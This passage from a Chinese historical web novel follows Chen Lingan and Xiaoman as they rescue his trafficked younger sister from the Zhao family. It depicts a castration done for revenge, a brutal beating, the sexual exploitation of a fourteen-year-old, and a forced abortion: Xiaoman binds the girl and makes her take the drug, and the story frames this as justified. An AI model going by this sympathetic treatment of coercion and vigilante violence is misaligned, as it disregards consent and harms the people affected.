小满很会劝人吃东西。 奶酪红枣夹核桃仁可真香,奶酪难得,不吃就亏了。这是糖渍玫瑰花,原来花也可以吃的啊,酸甜的,你尝尝。哎呦,瓜子和我大街上买的不是一个味,用什么炒的呀,好妹妹你告诉我。诶,这是什么果子?杨桃啊,我北边来的没见过,你可不许笑我…… 叽叽喳喳,嘴上不停地嘚吧嘚,手上也不停地投喂,哄得陈砚宁小肚皮吃得圆溜溜的。 一通吃下来,陈砚宁已经改口叫小满“姐姐”了,脸上也有了笑模样。 小满隔窗得意地冲陈令安一抬下巴:学着点吧您嘞! 陈令安不禁莞尔。 连日来沉郁的心情此时终于得到缓解,恍若清泉流过干涸的田地,沁凉惬意,舒坦而轻松。 这让他的笑格外好看,微微一笑,昏暗的天地都明亮了几分。 小满好不容易才把视线从他脸上挪开,一瞅陈砚宁也看得出神,嘿嘿一乐:“你哥长得好吧,他是我见过最俊秀的男子。” 快点睁大眼睛看看你漂亮得不得了的哥哥,一对比你就会发现,赵橧就是个让人反胃的糟老头子! 陈砚宁不自然地笑笑,眼圈再次红了,顿了顿低声道:“我要回家了,不能再耽搁下去,老太太还不知道多着急。” 小满心里咯噔一声:她不会说错话了吧…… 见她要走,陈令安好转的心情立刻变得糟糕至极,“这就是你的家,走什么走!” 陈砚宁还是要走。 陈令安有气没处撒,一脚踢向旁边的廊柱,咔嚓一声,竟踢出个坑来,露出白花花的木茬子。 陈砚宁吓得倒抽了口冷气,嘴唇都白了,下意识往小满身后躲。 “你发什么疯,有能耐冲外人使,冲家里人发脾气算什么本事!”小满双手叉腰,毫不客气骂他,“闲着没事收拾屋子去,嘴上说留妹妹住,床铺被褥的准备好没,烧水了没有,浴桶什么的有没有,就知道干杵着,眼里一点活儿没有。” 陈砚宁惊愕地看着她,小声提醒:“当心他打你。” 小满冷冷看向陈令安:“他敢!” 陈令安确实不敢,冷哼一声,赌气扭头走了。 陈砚宁再次愕然了。 小满:“看,他很乖的是不是,所以赵家说的也不见得全对。” 陈砚宁抿抿嘴角,偷偷往陈令安离去的方向看了看。 雨变大了,不时有雷声滚来,地上流水哗哗。小满看看天,“等等再走吧,道不好走,车夫受罪,马也受罪。” 总不能叫别人淋雨送自己,陈砚宁便应了。 可天公偏不作美,电闪一个接着一个,雨水从瓦檐上飞泄而下,庭院中积水都有寸许高。 天也黑透了。 “看来我们今晚走不了了。”小满叹了声,“还好有你作伴,不然我和陈令安孤男寡女共处一室,跳进黄河也洗不清喽。” 陈砚宁满脸难色,吞吞吐吐半天说不出一句完整的话。 小满故意装出生气的模样,“你不会还要走吧,真是的,人家诚心实意对你好,把你当亲妹妹,你却置我的清白于不顾,太叫人伤心了。” 陈砚宁立时内疚了,“是我不好,你别生气,我留下来就是。” “这还差不多。”小满笑起来,却是搅心似的难受。 明明不是她的错,却开口闭口全是道歉,在赵家到底受了多少规训,才把好好的女孩子养成习惯性讨好别人的性子! 窗外响起陈令安的咳嗽声。 小满出来见他满脸的不自在,揶揄笑了声,“遇到难事啦?” “……家里,只有一床被褥。” “我就知道。放心,车夫回去取了,差不多快到了,你去门口接应一下。” 不多时,陈令安并七八个婆子丫鬟,抬着几口大箱子回来了。 锦绣脱下蓑衣,兴奋地喊着姑娘:“铺的盖的,穿的戴的,用的摆的,按你的吩咐都完成啦!姑娘看布置在哪儿合适?” 小满看陈令安,“去问问你妹妹。” 陈令安:“她以前住东厢房,那小床还是十年前打的,睡不下,就安置在正房的暖阁吧。” 说干就干,蒋夫人挑的人都是手脚麻利的,打开箱子就开始忙活。 锦绣一把摁住想帮忙的陈砚宁,“好姑娘,你陪我们姑娘说说话,看着哪儿不合心意。我们再改。” “好,都挺好的。”陈砚宁手足无措站在屋子中央,小满瞧出她的不自在,就问陈令安,“烧水了没?” 陈令安点点头。 小满拉着陈砚宁去了净房,“这是换洗的衣服,来不及现做,从成衣店买的,赶明儿叫裁缝到家来,喜欢什么样的咱们就做什么样的。” 陈砚宁揉搓着衣角,“这怎么好意思。” 小满轻轻抚着她的肩膀,“这才哪儿到哪儿,你哥找了九年才找到你,恨不得把世上所有的好东西全给你。我告诉你呀,你哥有钱着呢,往后你什么也不用干,就一门心思花钱!花钱!再花钱!” 陈砚宁禁不住,“噗嗤”的笑出声。 “对嘛,要多笑,笑起来多漂亮。”小满啧啧称赞,还别说,兄妹俩笑起来的模样挺像的。 大雨下了一夜,第二日起来,艳阳高照,秋高气爽,庭院的积水闪出碎金般的光芒,雨水刷洗后的树叶绿得可爱。 小满在厢房窝了一宿,走到廊下伸了个懒腰,回头看看暖阁,悄声问昨天守夜的小丫鬟,“陈姑娘昨儿个睡得怎样?” “前半宿一直翻来覆去的,闷着声音哭了几回,唉,奴婢听着都替她难受,到后半宿才睡安稳。” “辛苦你了,赶紧去补一觉,叫锦绣守着陈姑娘,告诉大伙儿,走路说话都小声的。” 小满轻手轻脚去了前院,刚过穿堂,便听门外蓦地传来一阵凄厉哭声,像是阴曹地府厉鬼哭号,惊得小满头发丝都要竖起来了。 书房门响,陈令安和吴勇一前一后走出来。 陈令安脸上挂了霜似的,“赵家的?” 吴勇隔着门缝瞧了瞧,“对,赵橧的老娘和老婆,呦呵,还有都察院的都御史。” 小满奇道:“他们来要人吗?也不至于惊动都察院呀。” 陈令安面上飞快掠过一丝奇怪的笑意,却没回答小满的疑惑。 吴勇耐不住得意,嘴皮子一秃噜说了:“我昨晚上嘎了赵橧的蛋,送赵家去啦,哈哈哈哈哈哈!” 第43章 听到“嘎蛋”, 小满第一反应就是拍手叫好。 “好”字还没出口,就意识到不妥,她脸上腾地飞起两团红云, 犹自骂声“骟猪”。 吴勇竖起大拇指:描述精准! 陈令安睃他一眼,“没用的话少说,去开门。” 小满也吩咐母亲派来的婆子:“看好二门, 谁也不许扰了陈姑娘。” 大门嘎吱吱地打开, 吴勇冲外一挥手,“哎呦,早啊诸位。” 陈令安一出现,哭号声便是一顿,随即一个老妇人疯了般冲上来, “奸贼, 还我儿命来——” 都察院随行的官差马上拦住她, 可她势头不见减弱, 面孔扭曲,双手神经质地痉挛望着陈令安猛抓, 显见是恨极了。 都察院都御史廖凯见这样不是个事, 从中劝道:“老安人保重身体要紧,待本官问清楚怎么回事。” 赵老太泣声哭道:“我儿赵橧弹劾过他, 他怀恨在心,罗织罪名制造冤假错案拿了我儿,变着法儿的折磨泄恨!廖大人, 此奸贼实为国家之患,不除则民心不壹,群臣不安,法威不立, 天理不容啊!” 陈令安不屑,“除啊,我拦着你了吗?敲登闻鼓告御状,三呼冤枉一头碰死在午门前,绝对比来我家门前哭有成效,你怎么不去,是舍不得用你的命换你儿子的命?” 小满忍不住想笑,忙低头掩饰过去。 廖凯叹道:“陈大人积点口德吧,这样对待一个六旬老人,你良心何安?” “有的老人值得尊敬,有的老人活着就是浪费粮食。”陈令安毫不客气怼了回去,“我很烦,没心情理会你们,如果是为了赵橧的案子,请廖大人陈奏御前。” “我儿若有罪,自有朝廷律法裁断,你凭什么、凭什么……”悲从中来,赵老太说不下去了。 陈令安脸上是毫不掩饰的憎恶,“凭什么阉了他?凭我高兴。” “阉、阉阉……”这个消息太惊人了,廖凯惊得舌头都打了结,“太过分了!赵大人就一个女儿,你是要赵家断子绝孙呐!” “我就是要赵家断子绝孙。” “阉割为法外酷刑,只有皇上才有权裁定,你在挑战天威。” “你们不是一直想扳倒我?现成的把柄,赶紧回去写弹劾书吧。” 油盐不进,软硬不吃,廖凯根本拿他没办法,一时气性上来,“既如此,陈大人就等着百官联名弹劾书吧!” 赵老太望向廖凯的眼神全是乞求:“求大人把我儿救出来。” 廖凯愧疚又为难,“凭我一人之力难以成功,不如我陪老安人去陈阁老家走一趟?” 赵老太咬牙,“还有件事求大人帮忙,我家一个丫鬟昨日探监未归,听闻被陈令安掳去了。” 听了这话,廖凯对陈令安鄙夷更甚,“你这事干的忒下作,快把人还给赵家。” “不还。”陈令安脸色蓦地阴沉似水,“索性把话挑明,她是我亲妹妹,此后和赵家再无干系!” 廖凯愣住了,陈家小女儿自幼丢失,他也是知道的,没想到居然落在赵家。 如此说来,陈令安扣着人不给,倒是合情合理。 赵老太:“梅香是我儿的通房,早就是我赵家的人了,如何能撇得清干系?” 一直沉默不语的赵太太突然开口:“梅香已怀上老爷的骨血,前天刚查出来的,三个多月了,郎中说是男胎。” 都有孩子了,是该把人还给赵家。 廖凯点点头,待要说话,忽想到什么,意味不明瞅了赵家人一眼,捋着胡子与陈令安道:“我记得令妹是五岁上头丢的,当时我在应天府当差,帮着陈家找了好几个月,满城贴告示,印象很深刻。” 陈令安缓缓闭上眼,重重呼出口气,好一会儿才说:“九年了,没想到人竟然在我眼皮子底下,呵,我怎么就没早点发现!” “不管怎么说,总算找到了。”廖凯摇摇头,满脸惋息之色,向旁走了两步,再走两步。 都察院的官差们也颇有默契地走到一旁。 无形中将赵家人单列出来。 赵老太有点发怔。 小满“嘁”了声,“有理不在声高,不是你闹腾得欢,大家就偏向你。” 赵老太心道,我治不了陈令安,还治不了你一个丫头片子? 然还不等她说话,就听一阵急促的车轮声由远及近,嚯地急停在大门口。 赶车的竟是陈令宜! 他先剐了陈令安一眼,然后转身,小心翼翼扶着一位贵妇人下马车。 那妇人雍容华贵,大概因为保养得当,看着不到四十的模样,猜不出实际年龄。 看到她,陈令安的面孔明显僵了僵。 小满奇怪这人是谁,陈令安垂下眼眸,语气有些复杂,“陈令宜他娘。” 小满顿觉不妙,陈绍父子和陈令安是仇敌,这俩人来难道是为赵家撑腰,逼陈令安放人的? “韩夫人!”赵老太大喜过望,赵橧一出事她就找陈家帮忙了,不巧这位阁老夫人去了栖霞山避暑,她扑了个空。 陈令宜媳妇和她没多少交情,所求之事一概不拒绝不应诺,只留她喝了杯茶便打发她走了。 无奈之下,她花银子疏通关系,托人给韩夫人送了求救信。 韩夫人一定看到了她的信,儿子有救了! 她激动迎上前,“终于盼到了夫人,求夫人为我孤儿寡母做主,平冤啊!” 韩夫人眉头微皱,径直走到陈令安面前,“宁儿在何处?” “与你无关,我自己的妹妹,我自己护着。”陈令安语气很不好。 陈令宜喝道:“你小子狗咬吕洞宾,私自阉割朝廷命官是小事?要不是我爹压着,你早跪在午门问斩了。” 此言一出,四周皆静。 风向,好像刮偏了,他们俩家不是死敌吗? 赵老太惊慌不已,“韩夫人,你不记得我?我是赵橧的母亲,赵橧是阁老的门生,去年阁老过寿,我们母子还登门拜寿来着!” 韩夫人转过身,语气轻飘飘的,“怎么不记得?十年前的冬天,大嫂家赏梅宴,是我将你引荐给大嫂,你还亲手抱着我家宁儿,喂她糖吃。” 风一瞬间停了,死一样寂静,连马都一动不动。 她见过五岁的陈砚宁! 她见过五岁的陈砚宁!! 陈令安身形晃晃,捂住心口痛苦地弯下腰,吭吭地咳了两声,竟咳出口血来。 “大人!” “陈令安!” 小满吴勇一左一右扶住他。 “杀了她,”陈令安双目血一样的红,伸手去摸腰间的刀,“杀了她!” 却摸了个空:他怕吓到妹妹,并未带刀。 吴勇死抱着他不撒手,“大人,要她死有一百种方法,就是不能现在要她的命。” 他们是权力大,看着想抓谁抓谁,想杀谁杀谁。 可杀的不是皇上看不顺眼想弄死的人,就是罪证确凿的犯官,涉及官员家眷都要等皇上发话。 滥杀无辜,还是朝廷命妇,不擎等着给政敌递把柄?那些刀笔吏最会玩文字,最会煽动情绪,一石激起千层浪,朝野上下齐齐口诛笔伐,为平息官员和老百姓的愤怒,皇上肯定放弃大人。 杀这婆子容易,收拾残局难。 大人倒台,他们这些狗腿子就是死路一条哇。 吴勇简直要哭了。 赵老太已是吓出一身冷汗,急急辩解:“只见过一面,我根本没记住,要不是夫人提及,我都要忘了。拐子说是她爹,我见这孩子可人疼才买了她,实在不知道她是夫人的侄女。” 事到如今还狡辩! 小满只觉胸口炸裂似的疼,手比脑子快,她蹬蹬几下冲到赵老太太面前,抡圆了胳膊照脸死命扇过去。 啪,又脆又响,打得赵老太原地转了半圈,人都懵了。 “胡说!刚那位大人说到处张贴了告示,你眼瞎看不到?你家里人都死绝了看不到?把人关在内院,连二门都不能出一步,不就是怕人发现么!” 小满指着她鼻子臭骂:“陈家世代书香,你明知道她是陈家的姑娘,却故意隐瞒身世,不肯让她识字,处处以她救命恩人自居,把这孩子教得逆来顺受,她事事顺从,为奴为婢伺候你,还得对你感恩戴德。” “最可恨的是你居然让她做你儿子的通房,她还不满十五,居然都怀孩子了,这是人能干出来的事?张口仁义,闭口道德,伪君子,我呸,你们连做人都不配!” 小满想起自己昔年受拐子打骂的恐惧凄苦,不禁淌下泪来,但随即一把狠狠抹去眼泪,“老虔婆,如果没有你们这些买家,怎么会有孩子被拐卖!” 赵老太终于回过神,捂脸骂道:“好个有娘生没爹教的野种,枉你信口雌黄,阁老夫人也不会信你半点。谁都清楚,陈令安要对付的是陈阁老,他才是陈家的死敌,谁能让陈令安死,谁就给陈阁老立了大功。” 这倒是实话,但这事决不能让韩夫人站在赵家那边,不然陈令安就危险了。 小满极力把思维发散到最大:“原来你是哄骗他亲妹妹去害他,好向陈阁老邀功。也对,陈令安会防备任何人,就是不会防备苦苦寻找的亲妹妹。” “可九年前你怎么知道陈令安会对陈阁老造成威胁?不对,又或者,你想拿那孩子讨好陈阁老,当仇敌之女推出去,可惜你没料到韩夫人是个疼爱侄女的好婶婶。” 说话还不忘给韩夫人戴高帽。 赵老太几乎要跳脚:“胡说八道,我养她九年,难道就为了最后杀她?” “也是,莫非……”小满的脸色变得异常冷峻,“你嫉妒、憎恨陈令安的母亲,所以想方设法作践她的女儿。她根本就不是走丢,是你找人拐了她!拐子前脚拐了人,后脚就让你碰见了,天底下哪有这样的巧事!” 赵老太矢口否认:“一切都是你的胡乱猜测!韩夫人,千万不要上了他们挑拨离间的当。” 她的声音突然一顿。 众人顺着她的视线看过去,但见穿堂门旁有丫鬟扶着一位摇摇欲坠的小姑娘,那小姑娘腮边挂泪,看上去年岁很小,脸上犹自带着三分稚气。 也不知道在哪里多久了,听了多少。 “你是……宁儿?”韩夫人轻呼一声,已是潸然泪下了。 赵老太却喊道:“从一而终,忠贞守节才是刚正有节操的烈女。你既怀了我赵家的骨血,就是我赵家的人,快随我归家,好好抚养孩子长大才是正道!” 话音未落,陈令安一脚飞出去,与此同时,陈令宜手中的马鞭也落下了。 咚!啪!咔嚓—— 赵老太肋骨断了数根,脸上血肉翻飞,哇一声惨叫直挺挺昏死过去。 小满合上嘴,默默站到一旁。 “老太太……”陈砚宁大惊失色,跌跌撞撞想要去看赵老太的伤势。 韩夫人挡在她,“别怕,自有人料理。” “没死。”吴勇走过去探探赵老太的鼻息,“还能抢救一下。”他看向躲得远远的赵太太,“把你婆婆拖回去治治,晚了不死也得瘫。” 陈令宜对廖凯略一点头,“今日之事,你据实上奏也无妨。” 廖凯心知肚明:不过打人一鞭子,这位小阁老顶多被皇上骂几句,陈令安就不见得了。 他颇为同情地看看陈令安,私自阉割朝廷命官,饶是事出有因,也为律法不容。 陈令安回他一记大大的白眼。 廖凯:草,百官联名弹劾书本官写定了! - 大门缓缓关上,陈家巷恢复了往日的寂静。 八月的天气已透着凉意,寒风渐起,几滴残雨在庭院中飘落,墙角藤萝在风中轻轻摇曳,发出细碎的沙沙声。 正房的门关着,呜呜咽咽的哭声时断时续。 陈家兄弟二人均负手立在堂前,目光始终没有交流。 良久,陈令安才冷声道:“你父亲仍是我的死敌,无论发生什么,这点都不会改变。” 陈令宜:“彼此彼此,你也是我最想弄死的人。” 陈令安又问:“你们怎么知道我妹妹回来了?还有赵橧被阉,这件事根本没时间扩散出去。” “你小子,”陈令宜脸上掠过一抹他自己也没察觉到的艳羡,悻悻道,“今早上吕公公特意来找我父亲,哼,你小子连夜上了封密疏,皇上居然默许你动手。” 这小子做事还是这样老道,丝毫不给别人可乘之机,哪像初入官场的新晋后生,分明是混迹官场多年的老油子! 虽说他也觉得赵橧活该,可心里怎么就那么不舒坦呢? 能忍,能干,够狠,够诚,连父亲都夸他,还说若是处境互换,他绝对达不到陈令安的位置,找个犄角旮旯保住小命就不错了。 陈令宜的视线不自觉投向旁边的男人:呸,老子绝对比他强! 陈令安立时报以锐利如刀的目光,手在脖颈处轻轻划了一下。 陈令宜大怒,凶狠百倍瞪回去。 嘎吱,门扇从内打开,韩夫人红着眼睛迈过门槛,“你们在干什么?” “没干什么。”两人同时不自然地挪开视线。 韩夫人不由笑了下,“还是跟小时候一样,见面就掐,问也不说。” 陈令安冷冷道:“我们两家目前的关系,似乎并不适合叙旧。” “给脸不要脸,我们是不和你计较,真以为怕你?”陈令宜还想再说,却被母亲止住了。 韩夫人道:“宁儿身子骨太弱,不如随我去南郊别院休养一阵子,等风头过去,再回来住。” 陈令安不领情,“我妹妹没什么见不得人的。” 韩夫人一怔,“是我想岔了。不过她肚子里的孩子,送人还是自己养,你想好了么?” 天气又阴了上来,雾一样的雨丝在微寒的风中轻轻洒落。 小满端着托盘走近,“他们走了?” 陈令安沉默片刻,仿佛下定某种决心似地深吸口气,“我想好了,这个孩子不能留。” 第44章 陈家巷的变故, 很快在官场悄悄流传开了。 群臣对陈令安积怨已久,纵有诸如廖凯、俞得水等同情陈小妹遭遇的,也不愿放过这个参陈令安的好机会。 尤其是那些内宅颇有阴私之事的官儿, 更是上蹿下跳,寻老师,联同年, 揣着弹劾书到处找人签名, 恨不得立时将陈令安处死,赵橧无罪释放。 虽说赵家这事办得不地道,但都是赵老太太的错,赵橧不知内情,况且长者赐, 不可辞, 赵橧何错之有? 什么什么, 你说年纪小, 是小了些,不过情到深处难自持, 男人怜香惜玉又有什么不对?十八新娘八十郎, 自古屡见不鲜,就因为收了你妹妹做通房, 你就割了人命根子,狂妄狠毒,令人发指! 没几天, 就有数十名官员在弹劾书上签了字。 牵头的几人一合计,去了刘家。 刘方拿着弹劾书沉吟着问道:“陈阁老的意思呢?” 廖凯:“那日陈令宜说可据实上奏,我们便没去打扰陈阁老。” 刘方微微一笑,不置可否。 俞得水眼珠转转, “嗐,实话跟刘阁老说吧,陈家的态度有点暧昧,似有回护陈令安的意思,这弹劾书一递上去,岂不叫陈阁老为难?我们干脆就没去。” 刘方起身慢慢走到窗前,望着窗外初现凋谢的芍药花只是出神,脸上浮现出“无可奈何花落去”的悲伤和惆怅。 坐着的几人互相交换下目光,静静等待着他下面的话。 “陈令安与陈阁老是不死不休的关系,回护?陈阁老可不是老糊涂,不会拿身家性命开玩笑。” “我明白了。”俞得水露出恍然大悟的表情,“这是陈阁老布下的迷魂阵,故意借此事缓和与陈令安的关系,趁其不备,一举拿下!” 刘方轻笑:“俞兄此言差矣,陈令安何许人也,岂会被小恩小惠打动?”他的声音忽变得低沉,“他妹妹遭此劫难,罪魁祸首就是陈阁老,陈令安心里清楚,陈阁老心里也清楚。” 一时间屋内沉寂下来,众人谁都没说话,只有秋风掠过,檐铃发出令人不安的轻响。 是啊,如果不是陈阁老告发亲哥哥科场舞弊,现在的首辅就是陈令安的父亲,陈小妹就是金尊玉贵的世家贵女,千娇百宠的高门明珠,赵橧连给她提鞋都不配。 杀父之仇,破家之恨,根本无计可消! 有个年轻的御史迟疑道:“下官更看不懂了,明知陈令安不领情,小阁老为什么还要鞭打赵大人的母亲?陈阁老甚至压下了陈令安阉割赵大人的急报。” 刘方叹息一声,“到底是亲侄女,稚子无辜,心怀怜悯也是人之常情。况且赵大人做的真过了,十四岁,还是个小孩子,搁谁身上也受不了。” 年轻御史满脸的不可置信:“赵大人是他的门生,处处以他为尊,从无半点违拂,就为了一个侄女——还是九年未见几乎和陌生人差不多的侄女,他竟然放弃了赵大人!” 那若是我们无意中冒犯了陈家人,是不是也和赵橧一样的下场? 不看忠心,不看功绩,也不看交情利益对错,一个不高兴,就翻脸不认人。 这和陈令安有什么区别? 年轻御史重重哼了声,另外几人也一脸的不服。 廖凯皱皱眉头,想起陈令宜和刘瑾书的官司。 他悄悄瞥了眼邻座的俞得水:嘿,这老滑头正襟危坐,眼皮低垂,宛如老僧入定,根本瞧不出心里在想什么。 “阁老,”年轻御史站起来,深深一揖,“赵大人之冤屈,臣民之激愤,阁老如不言,又有谁敢言?晚生恳请阁老主持公道,除奸贼,正朝纲,保社稷!” 旁边几人都随之站起,“请阁老主持公道。” 廖凯和俞得水也站起来了。 刘方眉头深锁,好半天才缓缓展开,拱手道:“承蒙各位看重,为国之大计,便是得罪陈阁老,刘某也顾不得了。” 他在弹劾书首位,郑重签下了自己的名字。 送走几位同僚,已近午时了,刘方慢慢踱到小花厅,秦夫人忙命人摆饭。 到底按不住好奇心,秦夫人问:“真割了?” 刘方差点被茶水呛到,咳咳两声,“吃饭呢。” “太蠢了,只顾自己痛快,都不想想他妹子以后怎么活。” “此话怎讲?” 秦夫人叹了声,“木已成舟,再不甘心也失身了,除了继续跟赵橧过还能怎样?要么压着赵橧休妻,扶正他妹妹,要么做平妻,不分大小,体体面面把这事遮盖过去。不喜欢赵老太太,就打发赵太太陪她回乡养老,正好给他妹妹腾地方。” “赵橧再不济,也是两榜进士出身,听说官声也算不错。陈家再了不起,也是过去的事——他们父亲到现在还是犯官!真较真,陈小妹就是犯官之女,赵橧配她绰绰有余。” 秦夫人不住摇头,“这下可好,闹得满城风雨,陈小妹的名声也毁了,往后可怎么见人,谁还敢娶她,真是两败俱伤。” 刘方附和老妻:“的确蠢,可怜那孩子了。” “陈令安挺能忍的一个人,这回倒沉不住气。”秦夫人撇撇嘴,“准是叫那野丫头撺掇了,我就知道,沾上她准没好事。” 刘方知道她说的是张小满,不禁一乐:“这也能怨到她?” “当然!你看啊,张家把她认回来了,结果张文妻离子散,锒铛入狱,张老太太现在都没从床上起来。蒋氏对她好吧,结果非要和离把自己名声都搞臭了。现在轮到陈令安了,他命硬,一时克不动,就先应在他妹妹身上了。” 刘方调侃道:“还好还好,你的宝贝儿子没和她成亲,算是逃过一劫。” 秦夫人想起日渐消瘦的儿子,又心疼又气愤,“这个扫把星,沾上一点儿都要倒霉。”- 此时“扫把星”正盘腿坐在罗汉床上,一边嗑瓜子,一边胡吹海侃,把自己从小到大的糗事说了个遍,逗得陈砚宁捂嘴直笑。 笑过之后,眉宇间仍是淡淡的愁容。 小满绞尽脑汁想新话题。 陈砚宁犹豫不决地想说什么,却咬着嘴唇,始终没张开嘴。 小满忍不住说:“你想说什么就说吧,看得我好着急。” 陈砚宁:“你……我很羡慕你的性子。” “我大大咧咧没心没肺有什么值得你羡慕的。”小满笑了声,但她马上从陈砚宁苦涩的笑意中察觉到另一层意思。 她想了想,又说:“我刚到养父母身边时,内向,爱哭,不爱说话,这么说吧,一片树叶掉我脑袋顶,我都能吓得一蹦三尺高。” 陈砚宁惊讶地睁大眼睛,继而轻轻抚上她的手,“那时你吃了不少苦头吧。” 应该是吧,小满垂下眼眸。 那时她太小,许多事情记不清了,印象最深的是有人掰开她的嘴看她的牙口,还有小姐姐的哭声,男人的笑声,在空中乱踢的脚。 走着走着,就有人消失不见了,接着又有陌生的小姐姐小哥哥出现。 昨天还和她说话的小朋友,今天就被割了舌头,扭断腿,被一个脏兮兮的人带走了。 太小了,卖不上价,养大几岁,这模样,肯定抢着要。 小姐姐用最后的气力对她说:跑啊,跑啊,一直跑,不要停。 跑,跑到胸口炸裂似的疼,跑到两眼发黑,就要窒息…… 有人抱住她,温暖的,柔软的,香香的臂弯,这就是小姐姐小哥哥说的被娘亲抱着的感觉吗? 她拼尽全力,挤出最后一口空气:“娘——” 昏过去之前,她看到的是养母慈爱悲悯的脸。 可如今,再也见不到了…… 轻轻吁出口气,小满大笑:“没有的事,逗你玩呢!我从小就胆大包天,天生反骨,三天不打我就上房揭瓦,整天气得我养母头疼,拿着笤帚疙瘩满村撵我,我只好装害怕哭着喊着求她饶命。” 陈砚宁愣了半晌,“你到底哪句是真,哪句是假啊!” 小满挑眉:“你猜。” 陈砚宁一怔,随即笑出了声。 眉宇间的愁绪也散了。 房门轻轻叩响,陈令安推门而入,手里端着一碗黑乎乎的药汁。 “堕胎药。”他说,“喝了吧。” 陈砚宁笑容凝滞,眼中慢慢露出恐惧和抗拒。 陈令安:“不能再拖,已经三个月了,再拖下去,对你的身体伤害更大。” 陈砚宁拼命往后缩,“不,不要这样,让我生下孩子,我绝不会和赵家来往。” 陈令安冷冷道:“渣滓的种有什么好留恋的,想要孩子你以后机会多得是。” 陈砚宁垂泪不语。 小满叹气,推着陈令安往外走,“态度要温和,你总是不知道怎样和女孩子说话,出去。” 她重重关上门,又是一声叹息,慢慢转身,望着陈砚宁正色道:“那天我们和赵老太太的话,你都听到了吧?” 陈砚宁点头:“嗯。” “赵老太不是好人,赵橧也不是君子,他对你更多的是贪欲,赵家不是好去处,你都明白的吧?” 这次陈砚宁停顿片刻,才点了点头。 “你生下这个孩子,就和赵家再也撇不清关系了,男人可以扔,孩子能扔吗?你心肠那么软,赵家人一求,你肯定会回去。到时候你哥就成了笑话,你也一辈子困死在赵家。” 小满重重呼出口浊气,“把药喝了吧,你才十四,往后的日子长着呢,不能叫赵家毁了。” 陈砚宁轻轻抚上小腹,梦呓般喃喃道:“他是赵家的孩子,可他也是我的孩子。你知道吗,一个身体里有两个心跳,这种感觉多么奇妙,多么美妙。我要这个孩子,不是因为他是赵橧的孩子,是因为他是我的孩子。” 是她的孩子! 小满万万没想到会是这个原因,霎时怔住了,只觉一股又酸又热又辣的暖流搅动着直往心口涌,冲得她只想哭。 可她不能妥协。 陈砚宁纤细娇小,手脚也没多少力气的样子,应该很容易压制。 小满深吸口气,四处扫视一番,目光落在挂在床帐前,长长的丝绦上面。 “要恨就恨我吧。”她解下丝绦,脸色平静地走向陈砚宁。 陈令安顶着杀身之祸办了赵家,妹妹却生下赵家唯一的子嗣,置他于何地? 他日孩子长大了,知道亲生父亲是被陈令安杀的,会不会怀恨在心,如果被人利用要杀他怎么办? 陈令安对外人狠,对自己更狠,唯独对至亲柔软得一塌糊涂。 他一直说要堕掉这个孩子,药都熬了多少碗了,可你一哭,他又犹豫了。 我知道他根本下不了手。 留下这个孩子,变数太大了,说不定哪天就栽在这个孩子身上。 对不起,在我心里,始终是陈令安更重要。 第45章 暖阁的声响很快惊动了陈令安。 “宁儿!”他撞开门扇, 进来就见妹妹躺在地上,被丝绦缚着,头发散乱, 衣衫歪斜,竟是有撕扯的痕迹。 “哥……”陈砚宁虚弱地喊了声,头一偏昏过去。 陈令安脑子嗡的一响, 几乎是软着脚冲到妹妹身旁, 下意识冲小满喝道:“你干什么了?” 小满刚被他撞了下,好容易稳住身形,却听他语气不善质问自己,立时委屈极了。 随即重重把药碗往桌上一放,“你说我干什么了?你眼瞎啊!” 陈令安看到空碗, 脸上不由闪过一抹懊恼, 却别扭着不肯说句软话, 只低头解开丝绦, 小心翼翼抱起妹妹放到床上。 小满闷声提醒:“你赶紧去找郎中稳婆,这里有丫鬟婆子照料着。” 陈令安应了声匆忙而去。 小半个时辰后, 他一手抓着太医, 一手提着稳婆,泼风似地回来了。 今天是个晴天, 太阳像个大红球挂在当空,细微的风轻轻拂过庭院,树枝微微摇摆, 没发出丁点声响。 丫鬟婆子端着热水棉巾一趟趟往屋里送,脚步匆匆却不见慌乱。 一两声呻/吟从紧闭的窗后传出,很快消散在寂静的空气中,陈令安的心随之一紧。 这个时候, 他根本帮不上任何忙,只能站在外面干等。 当太阳开始西坠,暖阁安静下来了。 稳婆走出来,低头偷觑着他的脸色小心道:“官爷,胎落得很快,小娘子没受多少罪,就是身子虚弱,最好做足双月子。” 陈令安紧绷的脸缓和了些,递上红封,“有劳大娘。” 那红封很薄,一捏便知里面装的是银票,稳婆受宠若惊:“应当的应当的。”想想又不对,“不敢当不敢当。” 陈令安难得的露出一丝笑意。 这时御医挎着药箱慢慢走出来,陈令安忙迎上前问妹妹情况如何。 御医也说并无大碍,“堕胎药是我们院判大人开的,药性温和,不伤身子。我开了温补方子,先吃上三副药,我再来看看。” 陈令安提着的心算是彻底放下来了。 暖阁已经收拾利索了,因不能开窗吹风,丫鬟摆了新摘的鲜花,芬芳花香把淡淡的血腥味压了下去。 陈砚宁睡得很熟,脸色发白,嘴唇也不甚红润,眉头还是微微蹙着,仿佛有排解不开的愁绪。 陈令安默默陪在妹妹身旁,直到丫鬟进来轻声问他要不要用饭,他才惊觉已是掌灯时分了。 那丫鬟颇为善解人意,晚饭就摆在暖阁旁边的小花厅。 陈令安拿起筷子,略一停顿,又放下了。 总觉得哪里不对劲。 丫鬟:“大人放心用,都是按姑娘的嘱咐准备的。” 陈令安察觉到哪里不对了,“你们姑娘呢?” “回家了,大人不知道?” “什么时候的事?” “晌午走的,大人出门后,姑娘就走了。” 陈令安怔楞了会儿,没由来一阵烦乱,挥挥手让她下去。 小丫鬟却拿出封信放在桌上,“姑娘留给你的。”说完转身跑了。 信纸摊开,字迹有些潦草,像是匆忙之下写成。 “我回家了,这些天一直在你家住着,都没见着母亲,再不回家就真不像话了。锦绣我带走了,其余几人留下,等你找到合适的人手,再打发他们回来——工钱你出。 说到砚宁,她醒来后,如果怨我恨我,你不要替我说话,只听她说。好好照顾她月子,说话软和点,最近就不要来找我了。” 后面的一句话被涂掉了,陈令安举起纸对着光亮看,依稀辨认出“你也没找过我”几个字,眼前便浮现出小满嘟嘟囔囔发牢骚的模样。 他笑了。 烛台火苗跳动,屋内影子摇曳,桌上信笺温馨,饶是独对孤灯,也不觉得冷寂了。 月亮东升又西落,崭新的一天来了。 陈砚宁的脸色比昨日好点,嘴唇也有了血色,眼神却很木然,看到陈令安来,除了一句“我没事”,再无他话。 陈令安很想和她说说话,又不知道说什么。 说说儿时旧事吧,可爹爹,娘亲,大哥……那些深藏心底的伤痛,哪怕略想想,都疼得他喘不上气。 他根本找不到话题。 长久的离别是很可怕的事情,鲜活的记忆会褪色,再亲近的人,会变得陌生。 陈令安默然坐了会儿,和来时一样,静悄悄出去了。 他很想见小满。 